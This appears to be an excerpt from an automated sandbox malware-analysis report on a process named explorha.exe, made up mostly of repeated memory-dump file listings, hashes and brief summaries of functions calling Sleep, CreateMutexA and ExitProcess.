Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: invalid stoi argument$stoi argument out of range
API String ID: 1418687624-1606216832
Opcode ID: 22cdcf68acb9d8053348a0c36210156d705178cd4f62baab86819f6f7ba4a594
Instruction ID: 338e6731b1d443b4b7482891ab65e08a56b12773e2002a6051cf10e5fcbfd16c
Opcode Fuzzy Hash: 22cdcf68acb9d8053348a0c36210156d705178cd4f62baab86819f6f7ba4a594
Instruction Fuzzy Hash: C911E532E002058FDF20DB65C841AADB7F0EF44318F16846BE80667720EB31AC00CB51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorha.exePID: 7572, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	207
Total number of Limit Nodes:	9

Executed Functions

Function 00B07BBB Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00B07BBA,?,?,?,?,?,00B08C0E), ref: 00B07BF7

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: be7b6b6a9d34d8595d808ef6fdcc119d7a9d8f1b56709e0d557b57d86118360b
Instruction ID: ee665653d1a61312be5d0a7e3037356c48dfd22ba311cc0dcd805640653a0a55
Opcode Fuzzy Hash: be7b6b6a9d34d8595d808ef6fdcc119d7a9d8f1b56709e0d557b57d86118360b
Instruction Fuzzy Hash: 63E046309842086BCA297B18C838EA87FA9EB92240F105850F805462A1CF25E981C680

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 20e91f7d51233141aae994cb046d2cbf0a330a3b2dece391d59a9760cb732099
Instruction ID: 53549cc8e8952f2dc58f229100d2849f6550088d7f8522fa2d84abf0aa76fc20
Opcode Fuzzy Hash: 20e91f7d51233141aae994cb046d2cbf0a330a3b2dece391d59a9760cb732099
Instruction Fuzzy Hash: BA3158717102408BEB08DB78CDC97AEBBB2EF81310F208219E4269B3D5D77589808791

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9547 Relevance: 3.1, APIs: 2, Instructions: 129
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1a9833a1e01bcf9273025889d128a1b98159375f7bc430d417d9c201a9f8a09b
Instruction ID: 831f07efe5c6ef399fcc8661cf9066e6273309025ed1b485ac9aed2ef18c1f4e
Opcode Fuzzy Hash: 1a9833a1e01bcf9273025889d128a1b98159375f7bc430d417d9c201a9f8a09b
Instruction Fuzzy Hash: CA3177717102448BFB18DB68DDC93AEBBB2EF81314F208219E42AAB3D5D776C9848751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
